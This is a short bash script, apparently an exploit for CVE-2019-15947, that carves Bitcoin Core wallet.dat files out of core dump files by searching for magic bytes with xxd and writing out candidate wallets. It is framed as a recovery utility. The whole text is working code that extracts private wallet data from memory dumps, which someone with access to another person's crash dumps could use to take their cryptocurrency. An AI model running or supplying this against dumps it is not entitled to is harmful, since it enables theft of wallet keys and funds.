#!/bin/bash
#
# ./makeitrain.sh bitcoin-qt.crashdump.core
#   __ _  _  __   ___  __  ____ ____
#  /  ( \/ )/ _\ / __)/ _\/ ___(_  )
# (  O )  (/    ( (_ /    \___ \ )(
#  \__(_/\_\_/\_/\___\_/\_(____/(__)
#
# Donations:
# btc: 366pCbaSHGCqkuuXKxAPxc9BxPXGF3heTV
# CVE-2019-15947
# https://oxasploits.com/posts/exploit-archive-partial-disclosure/
#
# I likeeee... bigggg butts and I cannot lie...
# Tested on Bitcoin Core version v0.18.0 (64-bit)
#
# A utility to recover a bitcoin wallet.dat
# from coredumps. (memory dumps)
# PLEASE back up your wallet.dat first!
# No telling if importing one of these recovered
# wallets could cause futher data courruption!
#
# I claim no responsibity for the use of this code!
# 
# By oxagast / Marshall Whittaker
# oxagast@oxasploits.com
# Notes:
# This was tested on linux x86_64 crash dumps.
# When loading the recovered files, you may
# have to try to load it more than once.
# You'll probably get an error about missing
# address book information.
# Adjusting the CLEN variable (wallet size in
# characters) may help if the wallet is not
# recovered.
if [ "$#" -ne 1 ]; then
  echo "You must enter the core dump file as the only argument."
  exit 1;
fi
COREFN=$1;
CLEN=98304;

echo "Attempting to recover wallet.dat from $COREFN";
echo "Using wallet length: $CLEN characters... (adjusting CLEN may help if wallet is not recovered)";

COUNT=0;
if test -f "$COREFN"; then
  echo "Grepping for magic numbers...";
  xxd $COREFN | grep "6231 0500" > walletoffsets;
  if [ `cat walletoffsets | wc -l` -eq 0 ]; then
    echo "Cannot recover from this file.";
    echo "Sorry!";
    rm walletoffsets;
    exit 1;
  fi
  while read START; do
    let "COUNT++"
    POFF=$(echo $START | sed -e 's/.*b1//' | head -n $COUNT | tail -n 1 | wc -c)
    POFFH=$(printf "%x\n" $POFF);
    OFFSET=$(echo $START | sed -e 's/:.*//');
    OFFSET="0x$OFFSET";
    POFFH="0x$POFFH";
    echo "Offset: $OFFSET Difference: $POFFH";
    HEXSUBBED=$(printf "0x%X\n" $(($OFFSET - ( $POFFH - 0x03))));
    echo $HEXSUBBED;
    echo "Seeking to $HEXSUBBED...";
    xxd -p -l $CLEN --seek $HEXSUBBED $COREFN > test$COUNT.xxd
    echo "Writing new wallet: test$COUNT.dat...";
    xxd -p -r test$COUNT.xxd > test$COUNT.dat;
    xxd test$COUNT.dat | head -n 1;
  done < walletoffsets;
  echo "Removing temporary files";
  rm test*.xxd;
  rm walletoffsets;
  echo "Now try to load each of the test dat files."
  echo "Sometimes they need to be loaded twice.";
  echo "Ignore any errors about addressbook being courrupted.";
  exit 0;
else
  echo "File doesn't exist...";
fi;